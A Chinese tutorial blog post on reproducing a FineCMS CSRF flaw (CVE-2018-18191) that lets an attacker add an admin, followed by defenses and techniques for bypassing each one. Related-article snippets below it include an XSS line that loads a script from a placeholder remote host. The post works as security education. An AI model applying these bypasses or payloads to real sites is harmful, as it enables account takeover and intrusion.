某finecms的csrf漏洞（CVE-2018-18191）

原创 已于 2022-07-04 16:59:21 修改 · 3.9k 阅读 · 0 ·
本内容遵循CC 4.0 BY-SA版权协议
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
收录于
web攻防

当前文章被收录于：

web攻防
13 篇文章 3 人学习
订阅专栏 查看详情
于 2021-12-10 09:04:10 首次发布
本文探讨了CSRF攻击的工作原理，展示了如何通过FineCMS漏洞复现，并介绍了常见的防御手段和绕过技巧。重点讲解了Referer头、验证码和token等防御措施，以及如何通过工具和技术绕过这些防护。

原理

CSRF（Cross-site request forgery）跨站请求伪造：通常缩写为CSRF或者XSRF，是一种对网站的恶意利用。 尽管听起来像跨站脚本（XSS），但它与XSS非常不同，XSS利用站点内的信任用户，而CSRF则通过伪装来自受信任用户的请求来利用受信任的网站。 与XSS攻击相比，CSRF攻击往往不大流行（因此对其进行防范的资源也相当稀少）和难以防范，所以被认为比XSS更具危险性
你这可以这么理解CSRF攻击：攻击者盗用了你的身份，以你的名义发送恶意请求。 CSRF能够做的事情包括：以你名义发送邮件，发消息，盗取你的账号，甚至于购买商品，虚拟货币转账…造成的问题包括： 个人隐私泄露以及财产安全。

过程

在这里插入图片描述

复现工具

某finecms，该源码存在XSS以及csrf漏洞
Burpsuite 代码审计工具
代码审计加抓包发现构造点
在这里插入图片描述
当管理员进行添加用户操作时，我们可以构建pyload对管理员发送恶意的请求，进行页面跳转，从而获取目标控制权，盗取用户信息。
在这里插入图片描述
在这里插入图片描述
1.利用burp自带功能，自动生成csrf的payload
在这里插入图片描述
在这里插入图片描述
当然也可以自己构建pyload，利用社会工程学，让用户点击，就可添加一个新的管理员。
在这里插入图片描述
如图所示
在这里插入图片描述
当然也可以自己构建一个pyload或者从某个网站上扒下来的信息与pyload组合构建一个如图所示在这里插入图片描述点击开始游戏就会完成攻击

防御方式

  1. REferer头防御
  2. 加验证码
  3. token
  4. 自定义请求头

绕过方式

  1. referer绕过把我们的csrf文件名改为信任的域名
  2. 看验证码是否生效第二看验证码是否多次请求都不会过期
  3. 第一找token加密规则，第二xss打token
  4. 抓包查看私有请求头，然后通过xmlhttprequest来创建请求头
标签
#web安全 #安全 #前端
FineCMS任意头像上传漏洞复现：文件的四次上传
Miracle_ze的博客
08-16 2129
1、第一次绕过代码没有文件再次检测，采用传包含文件夹的压缩包绕过或使用时间竞争漏洞绕过2、第二个绕过代码添加了递归对文件夹再次检测，但由于没有间竞争漏洞绕过问题。使用间竞争漏洞绕过3、第三次绕过代码进行随机命名文件无法猜文件名间竞争漏洞绕过失效，但是可以采用解压一半报错保存php文件4、第四次绕过代码对报错保留的文件进行了递归删除，但是我们可以欺骗系统将解码的文件判定为上级目录文件规避了递归在当前目录下是所有检测。其实这种漏洞补一处出现处，要从根本解决。.........
FineCMS 5.0.10 多个 漏洞详细分析过程
xiaoi123的博客
11-20 3588
i春秋作家：F0rmat 0x01 前言 已经一个月没有写文章了，最近发生了很多事情，水文一篇。 今天的这个CMS是FineCMS，版本是5.0.10版本的几个漏洞分析，从修补漏洞前和修补后的两方面去分析。 文中的evai是特意写的，因为会触发论坛的防护机制，还有分页那一段的代码也去掉了，因为会触发论坛分页的bug。 0x02 环境搭建 https://www.ichunqiu.co...
finecms-含有前台文件上传漏洞源码包.zip
01-04
finecms-含有前台文件上传漏洞源码包，亲测真实有效、可用！如有侵权，请联系CSDN管理员删除
FineCMS 5.0.10 完整版：含后台入口、UEditor 1.4.3富文本及安装向导的PHP建站程序
最新发布
qsc901234567的博客
06-11 262
一套开箱即用的PHP内容管理系统，基于CodeIgniter框架构建，支持PC与移动端双端展示。内置完整UEditor 1.4.3富文本编辑器，包含ueditor.min.js、ueditor.all.js、全部dialogs和lang语言包，满足图文混排、视频插入、代码高亮等常见编辑需求。系统提供admin.php后台管理入口、install.php可视化安装向导，支持MySQL数据库，适配主流Linux+Apache/Nginx+PHP运行环境。功能涵盖会员注册登录、自定义内容模型、栏目缓存（categ
FineCMS 内容管理系统 v5.2.0 bulid1204
11-26
FineCMS（简称版或公益版）是一款基于PHP+MySql+CI框架开发的高效简洁的中小型内容管理系统，面向多终端包括Pc端网页和移动端网页，支持自定义内容模型和会员模型，并且可以自定
[zkaq靶场]FineCMS的存储型XSS
wwxxee
05-09 2357
Fine CMS 存储型xss漏洞 本地测试 安装（版本v5.3.0） tip：这个cms需要安装在网站根目录，不能安装在子目录 然后访问install.php开始安装。 完成安装，访问后台。默认账户密码：admin/admin。 网站后台：提供错误日志查看功能。 在错误日志页面，我们可以看到错误日志的存放位置：WWW/cache/errorlog/log-2021-03-26.php 我们可以查看一下这个文件，然后输入一些内容测试一下。 在该文件的最后一行加入了测试内容 可以发现，后台的错误日志
web安全-文件上传漏洞-某CMS及CVE编号文件上传漏洞测试以及实例讲解
ranzi.
01-27 2458
可以看到访问后可以实现上图所示的效果，因为我们这里上传的是普通图片，不是jsp代码，所以网页返回的是一堆乱码，如果我们上传的文件是jsp文件，网页就会返回isp代码执行后的内容。在网址内添加此路径进行搜索，在回显的页面内可以看到上传的文件成功以php的形式进行了执行（因为这里上传的是图片，且没有进行修改，所以返回的全部是乱码）。将“png”改为“php”后放包，正常在上传完文件之后，会返回一个文件的地址，但是这里地址没有显示，并出现了报错。按照搜索到的方法，将“png”改为“php”后放包。
FineCMS 5.0.10漏洞集合
热门推荐
Unitue_逆流
10-12 1万+
笔记地址： https://www.ichunqiu.com/course/59007 操作机： Windows xp IP:172.16.11.2目标机： Windows xp IP:172.16.12.2实验目的： 学习漏洞产生的原理 学习如何对此漏洞进行利用修复实验内容： FineCMS是一款基于PHP+MySql+CI框架开发的高效简洁的中小型内容管理系统。其5.0.10
finecms-XSS(cve-2017-11629)
m0_65150886的博客
01-08 1531
dayrui FineCms 5.0.10及之前的版本中的controllers/api.php文件存在跨站脚本漏洞。远程攻击者可借助c=api＆m=data2请求中的‘function’参数利用该漏洞注入任意的Web脚本或HTML。Dayrui FineCms是中国天睿（Dayrui）程序设计团队发布的一套使用MVC架构和PDO数据库接口开发的内容管理系统（CMS）。借此漏洞，攻击者可以窃取用户Cookie；2.对输入和URL参数进行过滤(白名单和黑名单)1.访问http://ip:port，进入首页。
finecms XSS （CVE-2017-11629）
qq_23003811的博客
07-17 1023
Dayrui FineCms是中国天睿（Dayrui）程序设计团队发布的一套使用MVC架构和PDO数据库接口开发的内容管理系统（CMS）。dayrui FineCms 5.0.10及之前的版本中的controllers/api.php文件存在跨站脚本漏洞。远程攻击者可借助c=api＆m=data2请求中的‘function’参数利用该漏洞注入任意的Web脚本或HTML。dayrui FineCms 5.0.10及之前的版本。四、漏洞复现（怎么拿flag）?
飞飞影视导航系统后台任意文件删除
xxx9686的博客
09-26 4667
其中的delall函数存在任意文件删除漏洞，foreach($_POST['ids'] as $value)将遍历通过post获得的参数ids，然后使用@unlink(DATA_PATH.'_bak/'.$value)语句删除ids对应路径的文件。漏洞所在文件：feifei\Lib\Lib\Action\Admin\DataAction.class.php。路径：feifei\Lib\Lib\Action\Admin\DataAction.class.php。漏洞文件代码：(只贴上相关代码)
finecms后台登录框DOM型xss
qq3130964370的博客
09-23 403
finecms后台登录DOM型xss
finecms aip.php漏洞,通杀FineCMS5.0.8及版本以下getshell的漏洞
weixin_32083393的博客
03-11 669
前言跟着上次的finecms，在漏洞时代又找了一个漏洞来审计。但是他改了函数里面的传参，我也弄了一阵子才搞明白这个传参原来需要加密过的参数，还有就是这个远程下载再上传，有个小问题，那篇文章没有说明，等下再系统说下。漏洞详情代码位置和代码位置\finecms\dayrui\controllers\member\Api.php代码public function down_file() {$p = ar...
【漏洞学习——XSS】fineCMS免费版xss+getshell
Fly_鹏程万里
02-22 2183
漏洞细节 注册一个用户，在发表文章的地方发表文章 在编辑器里加入一张图片 用firebug修改图片地址 加入onerror属性 onerror=document.body.appendChild(document.createElement('script')).src='//xxx.xxx/a.js' 因为发表的文章需要后台管理员审核的，当管理员审核的时候触发漏洞 然后是getsh...
webmin中CSRF漏洞(CVE-2021-31760)
FODKING的博客
11-26 1291
该漏洞是CSRF漏洞。webmin是可以管理你的web服务器，攻击者可通过CSRF漏洞，远程执行代码，获取信息及控制服务器。 项目场景： 项目相关背景：该漏洞是CSRF漏洞。webmin是可以管理你的web服务器，攻击者可通过CSRF漏洞，远程执行代码，获取信息及控制服务器。 项目搭建： webmin 1.973> 下载webmin http://prdownloads.sourceforge.net/webadmin 安装： [root@linuxtest ~]# tar -zxvf webmi
代码审计之Finecms任意文件下载漏洞
aiquan9342的博客
04-27 785
PS：该漏洞已被公布，只是学习。故自己跟着大佬的步伐审计。 文件地址：\controllers\ApiController.php Line 57 public function downAction() { $data = fn_authcode(base64_decode($this->get('file')), 'DECODE'); ...
CSRF漏洞以及靶场(史上最详细)
qq_34598847的博客
10-17 2200
产生原因：服务器端没有对用户提交的数据进行严格的把控，导致攻击者可以利用用户的Cookie信息伪造用户请求发送至服务器利用方式：攻击者诱导受害者进入第三方网站，在第三方网站中，向被攻击网站发送跨站请求。利用受害者在被攻击网站已经获取的注册凭证，绕过后台的用户验证，达到冒充用户对被攻击的网站执行某项操作的目的原理：攻击者盗用了你的身份，以你的名义发送恶意请求危害：以受害者名义发送邮件，发消息，盗取受害者的账号，甚至购买商品，虚拟货币转账，修改受害者的网络配置（比如修改路由器DNS、重置路由器密码）等等。
黑客带你上手web安全攻防、三种漏洞【XSS，CSRF和文件上传】彻底掌握常见web安全漏洞
jennycisp的博客
06-27 1840
XML是一种非常流行的标记语言，在解析外部实体的过程中，XML解析器可以根据URL中指定的方案（协议）来查询各种网络协议和服务（DNS，FTP，HTTP，SMB等）。外部实体对于在文档中创建动态引用非常有用，这样对引用资源所做的任何更改都会在文档中自动更新。但是，在处理外部实体时，可以针对应用程序启动许多攻击。这些攻击包括泄露本地系统文件，这些文件可能包含密码和私人用户数据等敏感数据，或利用各种方案的网络访问功能来操纵内部应用程序。
FineCMS 存储型 XSS 漏洞分析与防御建议
你好！经典物理世界人类
01-12 783
本文记录了对FineCMS系统的XSS漏洞测试过程。首先尝试首页注入失败后，通过搜索已知POC成功在后台错误日志触发弹窗。重点测试了留言板富文本编辑器漏洞，通过修改检查格式绕过过滤，利用img标签成功实现存储型XSS攻击。文章还演示了获取cookie的方法，发现受HttpOnly限制只能获取部分cookie。最后指出若未启用HttpOnly，攻击者可完全控制后台。测试过程展示了从漏洞发现到利用的完整链条，揭示了XSS攻击的危害性。
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

FODKING

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付：¥1
获取中
扫码支付

您的余额不足，请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值